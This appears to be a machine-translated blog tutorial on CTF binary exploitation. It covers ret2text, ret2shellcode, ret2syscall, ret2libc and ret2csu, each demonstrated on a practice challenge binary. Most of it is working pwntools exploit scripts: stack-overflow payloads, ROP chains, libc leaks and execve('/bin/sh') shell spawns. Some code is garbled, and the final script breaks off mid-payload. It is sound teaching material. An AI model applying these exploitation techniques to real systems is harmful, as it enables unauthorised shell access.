当前位置:网站首页>Ret2xx---- common CTF template proposition in PWN

Ret2xx---- common CTF template proposition in PWN

2022-07-05 06:47:00 Greeety

My website https://blog.johnw1ck.com/
Actually I didn't want to write an article this weekend It's mainly the holiday
however I want to log in as usual Baidu webmaster ....
 Webmaster Platform
I went to !!! My article is indexed !!!!
So I decided to update more articles And recently, some people said they couldn't understand it I think we should update some things that people can understand
But today I also decided to Ret2 Finished
This teaching excerpt is from the Xingmeng safety team in Bilibili Video posted on
Some of them are reproduced in https://www.anquanke.com/post/id/205858#h2-2


url by https://www.bilibili.com/video/BV1Uv411j7fr?p=9

The author of all content hits ( Except for some code parts ) If there is any mistake, please point out
If there is infringement, please contact the author

Download link of this topic : subject .rar

0x01 What is? ret2xx

In this article RET2xxx It refers to ret2text, ret2shellcode, ret2syscall,ret2libc,ret2csu among ret2 It means because of "return to" Homophony of That is, we can literally know We will use something similar to what we learned last class eip Pointer method To get permission And one of There are many ways to do it

ROP

[*] '/home/retr0/Examples/overflow'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

With the progress of the times The security knowledge about stack is becoming more and more popular among With NX Development of protection Directly in Buffer The method of injecting code in has been eliminated And now the more popular is ROP Method That is to say Return Oriented Programming
rop
Speaking of ROP ROP In fact, it means to modify Gadgets Of ret End instruction The order To attack
sometimes We will combine several paragraphs gadget The attack
For what needs to be done ROP attack We need some conditions :

  1. Stack overflow exists in the program You can control the return address
  2. You can find something that meets the conditions gadgets And know gadgets The address of
    But if the address is not fixed For example, it turns on NX We need to know the address of each debugging Don't worry We can cooperate. gdb Use
    among If we need to use vulnerabilities multiple times You can use more than one gadget Cooperate to make exploit

0x02 ret2text

What is? ret2text

ret2text, That's right .text Utilization of section We will use the existing code in several programs to attack

There are dangerous functions in the process, such as system(“/bin”) or execv(“/bin/sh”,0,0) Fragments of , You can hijack the return address directly to the address of the target function . thus getshell.

title jarvisoj_level2

First of all, we Checksec Our topic

[*] '/home/retr0/CTF/ret2xx/Qs/level2/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We can see This program is turned on Nx Of So we know that Nx The basic principle of protection is to identify the memory page where the data is located as non executable When the program overflows successfully into shellcode when The program will try to execute instructions on the data page here CPU Will throw an exception Instead of executing malicious instructions however These are not important for the time being Let's throw it first IDA to glance at

The pseudocode is as follows :

ssize_t vulnerable_function()
{
    
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-dPf0BOPi-1617790866959)(https://blog.johnw1ck.com/usr/uploads/2021/04/1766276664.jpg)]

Construction ideas

We can see There is an obvious stack overflow vulnerability among Read The value of has exceeded buf Value also There are also system Functions and bin/sh character string that We can conceive attacks
 Attack ideas
First We need to fill the cache first 0x88( Because of overflow )
after We need to cover 4 Characters to cover ebp
then We want the return value of the function to be system function
Then We need to fill in the return address of the function call (‘c’ * 4) If you need Can be executed all the time main function
Last We just need to adjust system The argument to the function is bin/sh It's over

To write exp

exp Code :

from pwn import *
file_path='./level2'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
p = remote('node3.buuoj.cn',28124)
libc = ELF('../libc/u16/x86libc-2.23.so')
main_addr = 0x08048413680
binsh = 0x0804A024

payload = 'a' * 136 + 'b' *4 + p32(system_plt).decode('unicode_escape') +p32(main_addr).decode('unicode_escape') + p32(binsh).decode('unicode_escape')
gdb.attach('b' * 134513790)
p.sendafter('Input',payload)
p.interactive()

( Maybe a little Bug Please understand )

title jarvisoj_level2_X86

The difference between this question and the previous question is that this question is 64 Bit And one of The causes of the vulnerability are similar
however 64 The transfer parameter of the bit system function call has priority to use the register rdi rsi rdx rcx r8 r9 And when the parameter is greater than 6 Use stack
For details, please refer to http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

When the parameter is less than 7 Time , The parameters are put into the register from left to right : rdi, rsi, rdx, rcx, r8, r9.
When the parameter is 7 More than one time , front 6 One is the same as before , But the later ones start from “ Right to left ” Put in stack , Namely and 32 Bit assembly .
The number of parameters is greater than 7 When it's time
H(a, b, c, d, e, f, g, h);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->8(%esp)
g->(%esp)
call H

Construction ideas

x86 Ideas

Our thinking is The front is almost the same Then first set the return address to system function Re pass pop rdi;ret Set up rdi The value of is /bin/sh character string
by the way I forgot to say /bin/sh yes Linux default Shell Catalog ( Should be yes )

So here's the problem How do we find pop rdi; ret?
Actually There are many ways But here are two solutions :

ROPgadgets

What is? ROPgadgets

This tool lets you search your gadgets on your binaries to facilitate your ROP exploitation. ROPgadget supports ELF/PE/Mach-O format on x86, x64, ARM, ARM64, PowerPC, SPARC and MIPS architectures. Since the version 5, ROPgadget has a new core which is written in Python using Capstone disassembly framework for the gadgets search engine - The older version can be found in the Archives directory but it will not be maintained.

This tool allows you to search for your gadgets on binary files , For your convenience ROP Development .ROPgadget Support x86、x64、ARM、ARM64、PowerPC、SPARC and MIPS Architecturally ELF/PE/Mach-O Format . As of version 5 since ,ROPgadget With a new core , It is to use Python Compiling , Use Capstone Disassembly framework gadget search engine

We can use ROPgadgets First get the Gadget After that grep Search for
Instruction is ROPgadget --binary level2_x64 | grep 'pop rdi'
give the result as follows :

x00000000004006b3 : pop rdi ; ret

Ropper

Ropper It is also a good search gadgets Tools His grammar is as follows :

usage: ropper [-h] [--help-examples] [-v] [--console] [-f <file> [<file> ...]] [-r] [-a <arch>]
              [--section <section>] [--string [<string>]] [--hex] [--asm [<asm> [H|S|R] [<asm> [H|S|R] ...]]]
              [--disasm <opcode>] [--disassemble-address <address:length>] [-i] [-e] [--imagebase] [-c] [-s] [-S]
              [--imports] [--symbols] [--set <option>] [--unset <option>] [-I <imagebase>] [-p] [-j <reg>]
              [--stack-pivot] [--inst-count <n bytes>] [--search <regex>] [--quality <quality>]
              [--opcode <opcode>] [--instructions <instructions>] [--type <type>] [--detailed] [--all]
              [--cfg-only] [--chain <generator>] [-b <badbytes>] [--nocolor] [--clear-cache] [--no-load]
              [--analyse <quality>] [--semantic constraint] [--count-of-findings <count of gadgets>] [--single]

among We can use his search Function to find what we need gadgets The code is as follows :ropper --file level2_x64 --search "pop rdi"
The feedback is as follows :

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: level2_x64
0x00000000004006b3: pop rdi; ret;

To write exp

The main body of the code is as follows :

from pwn import 
file_path='./level2_x64' #  Set the path 
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h']) 
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
    pwn_file="/glibc/%s/64/lib/ld-%s.so --library-path /glibc/%s/64/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
    p = process(pwn_file.split())
    libc = ELF('/glibc/%s/64/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
    p = remote('node3.buuoj.cn',28124)
    libc = ELF('../libc/u16/x86libc-2.23.so')

system_plt = elf.plt['system'] # system  function 
pop_rdi_ret = 0x00000000004006b3 # pop rid ; ret  The address of 
binsh = 0x600A90 #bin/sh String address 

payload = b'a'*0x80+b'b'*8 # First fill in 0x8- To the rbp  Then cover  ....
payload += p64(pop_rdi_ret)+p64(binsh)# Set up rdi=bin/sh
payload += p64(system_plt)#ret To system_plt Address 

p.sendafter('Input:',payload)
p.interactive()

Yes That's it

0x03 ret2shellcode

ret2shellcode That is to control the execution of the program shellcode Code shellcode It refers to the assembly code used to complete a function
The common function is to obtain the information of the target system shell Generally speaking shellcode It needs to be filled by ourselves

ret2shellcode

Solve the problem jarvisoj_level1

So when we get the example First Checksec

[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1'
    Arch:     i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX disabled
    PIE:        No PIE (0x8048000)
    RWX:      Has RWX segments # Readable and writable segments 

after Let's put IDA in

ssize_t vulnerable_function()
{
    
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

We can see read There is a stack overflow that We can start to construct ideas

Construction ideas

 flow chart
Okay I won't talk much about it here After knowing the basic idea We can start writing exp 了 however It is worth noting that buff The address of was given to us at the beginning So there is no need to resolve the address and so on

EXP To write

exp as follows :

from pwn import *
#ret2shellcode
file_path='level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process("level1")

p.recvuntil("What's this:")
buf = int(p.recv(10),16)# Read buff Address 

shellcode = asm(shellcraft.sh())# Generate shellcode
payload = shellcode
payload = payload.ljust(0x88+4,b'a') + p32(buf)# fill padding  And the overlay return address is buf
#gdb.attach(p)
p.send(payload)
p.interactive()

0x04 retsyscall

retsyscall seeing the name of a thing one thinks of its function It refers to getting shell】
In the last class We have learned about system calls We're talking about Shellcode I mentioned it in my class

[post cid=“27” cover=“https://blog.johnw1ck.com/img/shellcode.jpg”/]

Today, We are reviewing the knowledge about interruption


Knowledge point : We can trigger interrupts (int 0x80 perhaps syscall) Make system calls
The principle is as follows

User process before executing system call , First put the system call name ( It is actually the system call number )、 Input parameters, etc. are placed on registers (EBX,ECX And so on )
Then send out int 0x80 Instructions , Trigger xxx Interrupt number
The system pauses the user process , according to xxx Interrupt No. find the interrupt service program , This program is called system_call()
system_call() Then perform . It will find the system call name from the register 、 Input parameters, etc , And find the process that causes the system call according to the system call context ; After execution, it will put the output result into the register .
The system recovers the user process , The process gets what it wants from the register , And then go ahead and do it .


Solve the problem inndy_rop

As usual First gdb after Checksec give the result as follows :

pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/inndy_rop/inndy_rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The pseudocode is as follows :(overflow function )

int overflow()
{
    
char v1; // [esp+Ch] [ebp-Ch]

return gets(&v1);
}

ad locum gets There must be stack overflow in function Because I will not read until 0x0A

This is because we need to use system calls So we also file once

[email protected]:~/CTF/ret2xx/Qs/inndy_rop$ file inndy_rop
inndy_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped

We can see This time the topic is statically compiled So there will be things like int 0x80 Such a system call

after Let's first look at a table of system calls You can go to https://publicki.top/syscall.html Look at
here We mainly look at these two

NRsyscall namereferencesarg0 (%ebx)arg1 (%ecx)arg2 (%edx)arg3 (%esi)arg4 (%edi)arg5 (%ebp)
0readman/cs/0x00unsigned int fdchar *bufsize_t count--
59execveman/cs/0x0bconst char *const *argvconst char *const *envp---

Construction ideas

We can see here for instance read Need modification eax The register is 0x03 and ebx by fd Also set the address and length
So here Our thinking has
 Made a picture for half an hour

Exp structure

Not much to say First put Exp

from pwn import *
file_path='./inndy_rop'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process('./inndy_rop')
#find gadgets
int_80_ret = 0x0806F430#int 0x80;ret ROPgadget Unable to find  ropper --file inndy_rop --search "int 0x80"
pop_eax_ret = 0x080b8016# : pop eax ; ret # Define the address of the register 
pop_ebx_ret = 0x080481c9# : pop ebx ; ret # Define the address of the register 
pop_ecx_ret = 0x080de769# : pop ecx ; ret # Define the address of the register 
pop_edx_ret = 0x0806ecda# : pop edx ; ret # Define the address of the register 
bss = 0x80e9000 # Choose here bss paragraph   Because it is readable and writable 

payload = b'a'*0xc+b'b'*4
#read(0,bss+0x100,8)
#eax = 3
#ebx = fd=0
#ecx = buf=bss+0x100
#edx = 8
payload += p32(pop_eax_ret)+p32(0x3)#eax=3
payload += p32(pop_ebx_ret)+p32(0x0)#ebx=fd=0
payload += p32(pop_ecx_ret)+p32(bss+0x100)#ecx=bss+0x100
payload += p32(pop_edx_ret)+p32(0x8)#edx=8 len('/bin/sh\x00')  Read in length 
payload += p32(int_80_ret)
#execve("/bin/sh",0,0)
#eax=0xb
#ebx=bss+0x100
#ecx = 0
#edx = 0
payload += p32(pop_eax_ret)+p32(0xb)#eax=b
payload += p32(pop_ebx_ret)+p32(bss+0x100)#ebx=fd=1
payload += p32(pop_ecx_ret)+p32(0)#ecx=bss+0x00
payload += p32(pop_edx_ret)+p32(0)#edx=0  Read in length 
payload += p32(int_80_ret)
#gdb.attach(p,'b *0x0806F430')  Add this debugging 
p.sendline(payload)
print(payload)
sleep(1)
p.sendline('/bin/sh\x00')
p.interactive()

The production of payload Yes. b’aaaaaaaaaaaabbbb\x16\x80\x0b\x08\x03\x00\x00\x00\xc9\x81\x04\x08\x00\x00\x00\x00i\xe7\r\x08\x00\x91\x0e\x08\xda\xec\x06\x08\x08\x00\x00\x000\xf4\x06\x08\x16\x80\x0b\x08\x0b\x00\x00\x00\xc9\x81\x04\x08\x00\x91\x0e\x08i\xe7\r\x08\x00\x00\x00\x00\xda\xec\x06\x08\x00\x00\x00\x000\xf4\x06\x08’

Automatic generation ROPchain

however Here comes the question again How troublesome it would be if you wrote it like this every time ?
No problem Actually .... Can be generated automatically Ha ha ha
For statically compiled programs We can use ROPgadgets perhaps ropper Generate ropchain

Ropper

ropper --file inndy_rop --chain execveropper --file inndy_rop --chain execve

Feedback results :( You will find the same as the one above )

[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

[INFO] ROPchain Generator for syscall execve:


[INFO]
write command into data section
eax 0xb
ebx address to cmd
ecx address to null
edx address to null


[INFO] Try to create chain which fills registers without delete content of previous filled registers
[*] Try permuation 1 / 24
[INFO] Look for syscall gadget

[INFO] syscall gadget found
[INFO] generating rop chain
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''

rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
print rop
[INFO] rop chain generated!

ROPgadgets

command :ROPgadget --binary inndy_rop --ropchain( It will load for a period of time Don't worry That's not ROPchain Code )
Feedback code :

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
        [+] Gadget found: 0x8048433 pop esi ; ret
        [+] Gadget found: 0x8048480 pop edi ; ret
        [-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'

        [+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret
        [+] Gadget found: 0x806ecda pop edx ; ret
        [+] Gadget found: 0x80b8016 pop eax ; ret
        [+] Gadget found: 0x80492d3 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

        [+] Gadget found: 0x80492d3 xor eax, eax ; ret
        [+] Gadget found: 0x807a66f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

        [+] Gadget found: 0x80481c9 pop ebx ; ret
        [+] Gadget found: 0x80de769 pop ecx ; ret
        [+] Gadget found: 0x806ecda pop edx ; ret

- Step 4 -- Syscall gadget

        [+] Gadget found: 0x806c943 int 0x80

- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x0806ecda) # pop edx ; ret
        p += pack('<I', 0x080ea060) # @ .data
        p += pack('<I', 0x080b8016) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806ecda) # pop edx ; ret
        p += pack('<I', 0x080ea064) # @ .data + 4
        p += pack('<I', 0x080b8016) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x0806ecda) # pop edx ; ret
        p += pack('<I', 0x080ea068) # @ .data + 8
        p += pack('<I', 0x080492d3) # xor eax, eax ; ret
        p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080481c9) # pop ebx ; ret
        p += pack('<I', 0x080ea060) # @ .data
        p += pack('<I', 0x080de769) # pop ecx ; ret
        p += pack('<I', 0x080ea068) # @ .data + 8
        p += pack('<I', 0x0806ecda) # pop edx ; ret
        p += pack('<I', 0x080ea068) # @ .data + 8
        p += pack('<I', 0x080492d3) # xor eax, eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0807a66f) # inc eax ; ret
        p += pack('<I', 0x0806c943) # int 0x80

How sweet ?! I have written all the steps for you

0x05 ret2libc

ret2libc That is, the execution of the control function libc The function in , It is usually returned to a function plt The specific location of the or function ( That is, the function corresponding to got Contents of table items ). In general , We will choose to execute system("/bin/sh"), So now we need to know system Address of function

about ret2libc We need to know first what is libc

libc yes Linux Under the ANSI C Function library .ANSI C Is a basic C Language function library , Contains C Language's most basic library functions . This library can be based on The header file is divided into 15 Parts of , These include : Character type ()、 Error code ()、 Floating point constants ()、 Mathematical constants ()、 Standard definition ()、 standard I/O ()、 Tool function ()、 String manipulation ()、 Time and date ()、 Variable parameter table ()、 The signal ()、 Nonlocal jump ()、 Local information ()、 program assertion ()

in other words libc Stored in are used functions String, etc.
So how to query libc Well
Can pass ldd [ File name query libc file ]
libc The basic idea of vulnerability utilization is as follows
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-Skv2U8q3-1617790866964)(https://blog.johnw1ck.com/usr/uploads/2021/04/2465554599.jpg)]

title jarvisoj_level1

stay ret2shellcode in We have done an analysis of this topic

So when we get the example First Checksec

[*] '/home/retr0/CTF/ret2xx/Qs/jarvisoj_level1/level1'
Arch:     i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX disabled
PIE:        No PIE (0x8048000)
RWX:      Has RWX segments # Readable and writable segments 

after Let's put IDA in

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf(“What’s this:%p?\n”, &buf);
return read(0, &buf, 0x100u);
}

Ideas

 Ideas
( Finally, use stack overflow to execute system function )
And remember utilize libc Inquire about (ldd) Query the libc

Exp

from pwn import *
file_path='./level1'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
glibc_version="2.23"
_debug_=1

elf = ELF(file_path)
#pwn.io init
if _debug_:
    pwn_file="/glibc/%s/32/lib/ld-%s.so --library-path /glibc/%s/32/lib/ %s"%(glibc_version,glibc_version,glibc_version,file_path)
    p = process(pwn_file.split())
    libc = ELF('/glibc/%s/32/lib/libc-%s.so'%(glibc_version,glibc_version))
else:
    p = remote('node3.buuoj.cn',28124)
    libc = ELF('../libc/u16/x86libc-2.23.so')

#common pack
su  = lambda desp,value:success(desp+' => '+(hex(value) if type(value)==int else str(value)))
ru  = lambda delim            :p.recvuntil(delim)
rv  = lambda count=1024,timeout=0:p.recv(count,timeout)
sl  = lambda data             :p.sendline(data)
sla = lambda delim,data       :p.sendlineafter(delim, data)
ss  = lambda data             :p.send(data)
ssa = lambda delim,data       :p.sendafter(delim, data)
u64leak=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
u64leak2=lambda :u64(p.recv(6).ljust(8,b'\0'))

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x080484B7

#---------------payload part --------------# # Because it has been implemented before read  So it will include read The real address of #
                                                                           #V 
payload = b'A'*0x88+b'B'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)# perform write  Let the cat out of the read_got surface 
#gdb.attach(p,'b *0x080484B5')
p.sendafter("?",payload)
p.recvuntil('\n')
read_addr = u32(p.recv(4))
log.success("read_addr:{}".format(hex(read_addr)))
libc_base = read_addr - libc.symbols['read'] # adopt read stay libc Find the offset of libc The base address 
system = libc_base+libc.symbols['system']            # adopt libc Found the base address of system The address of the function and bin/sh The address of 
binsh = libc_base + next(libc.search(b'/bin/sh'))

log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("binsh:{}".format(hex(binsh)))

payload2 =  b'A'*0x88+b'B'*0x4+p32(system)+p32(main_addr)+p32(binsh) # After triggering again   Overlay as system + bin/sh Address 

p.send(payload2)
p.interactive()

Mm-hmm this is it If there is something like learning about libc Words I have time for another tutorial

0x06 ret2csu

stay 64 Bit procedure , Front of function 6 Two parameters are passed through registers But most of the time It is difficult for us to find the corresponding gadgets Now We can use x64 Under the __libc_csu_init Medium gadgets This function is used for libc For initialization And the general program will call libc function So this function must exist

in other words Actually ret2csu And utilization libc The same way of thinking Are included instructions to achieve the goal

First Let's start with the example Level5

ret2csu The soul of is embodied in gadget2 utilize gadget1 Prepared data to control edi、rsi、rdx And control jump to any function

Analysis of examples level5

First checksec

pwndbg> checksec
[*] '/home/retr0/CTF/ret2xx/Qs/level5_x64/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Found only open NX Protect Nothing else is on

Vulnerability function

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

Use objdump -d ./level5 -M intel command
Yes csu:

00000000004005a0 <__libc_csu_init>:
  4005a0:       48 89 6c 24 d8          mov    QWORD PTR [rsp-0x28],rbp
  4005a5:       4c 89 64 24 e0          mov    QWORD PTR [rsp-0x20],r12
  4005aa:       48 8d 2d 73 08 20 00    lea    rbp,[rip+0x200873]        # 600e24 <__init_array_end>
  4005b1:       4c 8d 25 6c 08 20 00    lea    r12,[rip+0x20086c]        # 600e24 <__init_array_end>
  4005b8:       4c 89 6c 24 e8          mov    QWORD PTR [rsp-0x18],r13
  4005bd:       4c 89 74 24 f0          mov    QWORD PTR [rsp-0x10],r14
  4005c2:       4c 89 7c 24 f8          mov    QWORD PTR [rsp-0x8],r15
  4005c7:       48 89 5c 24 d0          mov    QWORD PTR [rsp-0x30],rbx
  4005cc:       48 83 ec 38             sub    rsp,0x38
  4005d0:       4c 29 e5                sub    rbp,r12
  4005d3:       41 89 fd                mov    r13d,edi
  4005d6:       49 89 f6                mov    r14,rsi
  4005d9:       48 c1 fd 03             sar    rbp,0x3
  4005dd:       49 89 d7                mov    r15,rdx
  4005e0:       e8 1b fe ff ff          call   400400 <_init>
  4005e5:       48 85 ed                test   rbp,rbp
  4005e8:       74 1c                   je     400606 <__libc_csu_init+0x66>
  4005ea:       31 db                   xor    ebx,ebx
  4005ec:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
  4005f0:       4c 89 fa                mov    rdx,r15
  4005f3:       4c 89 f6                mov    rsi,r14
  4005f6:       44 89 ef                mov    edi,r13d
  4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  4005fd:       48 83 c3 01             add    rbx,0x1
  400601:       48 39 eb                cmp    rbx,rbp
  400604:       75 ea                   jne    4005f0 <__libc_csu_init+0x50>
  400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
  40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
  400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400624:       48 83 c4 38             add    rsp,0x38
  400628:       c3                      ret
  400629:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8] //rsp + 8  Assigned to rbx 
  40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10] //rsp + 8  Assigned to rbp
  400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400624:       48 83 c4 38             add    rsp,0x38
  400628:       c3                      ret

Here you can see rbx、rbp、r12、r13、r14、r15 It can be on the stack rsp The offset +0x8 、+0x10、+0x20、+0x28、+0x30 To decide

4005f0:       4c 89 fa                mov    rdx,r15
  4005f3:       4c 89 f6                mov    rsi,r14
  4005f6:       44 89 ef                mov    edi,r13d
  4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]

You can see our rdx、rsi、edi Can be r15、r14、r13 low 32 Bit to control ,call from r12+rbx*8 To control , And these values are exactly what we gadget1 Controllable values


We can see read There is a stack overflow There is no backdoor function in the program & /bin/sh character string And there is almost nothing to use gadgets therefore We can only use csu To control edi、rsi、rdx And control jump to any function

Train of thought structure

[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-cHHF16Hs-1617790866965)(https://blog.johnw1ck.com/usr/uploads/2021/04/2408027147.jpg)]
Ideas : utilize ret2csu

1.write(1,write_got,8) Let the cat out of the libc

2.read(0,bss,16) write in system Address and /bin/sh character string

3.system(‘/bin/sh’) getshell

exp structure

from pwn import *
file_path='./level5'
context(binary=file_path,os='linux',terminal = ['tmux', 'sp', '-h'])
p = process(file_path)
elf = ELF(file_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = 0x400564
write_got = elf.got['write']
read_got = elf.got['read']
gadget1 = 0x400606
gadget2 = 0x4005F0
bss_addr = 0x601028

#payload = b'A'*0x80+b'B'*8+p64(gadget1)+b'C'*8+b'D'*8+b'E'*8+b'F'*8+b'G'*8+b'H'*8#show how to set register
#######################leak libc###############################
payload1 = b'A'*0x80+b'B'*8      #padding
payload1 += p64(gadget1)         #ret
payload1 += p64(0)               #rsp
payload1 += p64(0)               #rbx
payload1 += p64(1)               #rbp
payload1 += p64(write_got)       #r12
payload1 += p64(1)               #r13 edi
payload1 += p64(write_got)       #r14 rsi
payload1 += p64(8)               #r15 rdx
payload1 += p64(gadget2)
payload1 += b'\x00'*0x38         #padding
payload1 += p64(main_addr)            # Wait for the second time to trigger the vulnerability 
#gdb.attach(p,'b *0x400562')
p.sendafter('Hello, World\n',payload1)

write_addr = u64(p.recv(8))
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

success("libc_base:{}".format(hex(libc_base)))
success("system_addr:{}".format(hex(system_addr)))
success("binsh:{}".format(hex(binsh)))

#######################read(0,bss,8) system_addr###############################
payload2 = b'A'*0x80+b'B'*8      #padding
payload2 += p64(gadget1)         #ret
payload2 += p64(0)               #rsp
payload2 += p64(0)               #rbx
payload2 += p64(1)               #rbp
payload2 += p64(read_got)        #r12 ret
payload2 += p64(0)               #r13 edi
payload2 += p64(bss_addr)        #r14 rsi
payload2 += p64(16)              #r15 rdx
payload2 += p64(gadget2)
payload2 += b'\x00'*0x38         #padding
payload2 += p64(main_addr)            # Wait for the second time to trigger the vulnerability 
p.sendafter('Hello, World\n',payload2)
sleep(1)
p.send(p64(system_addr)+b'/bin/sh\x00') # Someone asked   Why write /bin/sh  Instead of using libc Medium /bin/sh  That's because we'll give rdi Assignment can only .....
sleep(1)

#######################system('/bin/sh') system_addr###############################
payload3 = b'A'*0x80+b'B'*8      #padding
payload3 += p64(gadget1)         #ret
payload3 += p64(0)               #rsp
payload3 += p64(0)               #rbx
payload3 += p64(1)               #rbp
